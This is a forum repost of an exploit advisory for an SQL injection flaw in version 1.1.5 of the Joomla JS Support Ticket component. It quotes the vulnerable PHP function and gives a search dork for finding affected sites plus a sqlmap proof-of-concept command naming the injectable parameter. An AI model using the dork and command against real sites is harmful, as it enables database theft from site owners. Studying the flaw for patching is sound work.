Hoşgeldin Misafir

Joomla JS Support Ticket Component (com_jssupportticket) 1.1.5 - SQL Injection Vulner

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
#Exploit Title: Joomla! component com_jssupportticket - SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 441 in file admin/models/userfields.php
 
   439      function dataForDepandantField( $val , $childfield){ 
   440          $db = $this->getDBO();
   441          $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!!
   442          $db->setQuery($query);
   443          $data = $db->loadObject();
   444          $decoded_data = json_decode($data->userfieldparams); 
   445          $comboOptions = array(); 
   446          $flag = 0; 
   447          foreach ($decoded_data as $key => $value) { 
   448              if($key == $val){ 
   449                 for ($i=0; $i < count($value) ; $i++) {  
   450                  if($flag == 0){
   451                      $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle); 
   452                  }
   453                  $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]); 
   454                  $flag = 1; 
   455                 } 
   456              } 
   457          }
   458          $jsFunction = ''; 
   459          if ($data->depandant_field != null) {
   460              $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);";
   461          }
   462          $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,'');
   463          return $html; 
   464      }
 
#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql
 
#  0day.today [2019-08-10]  #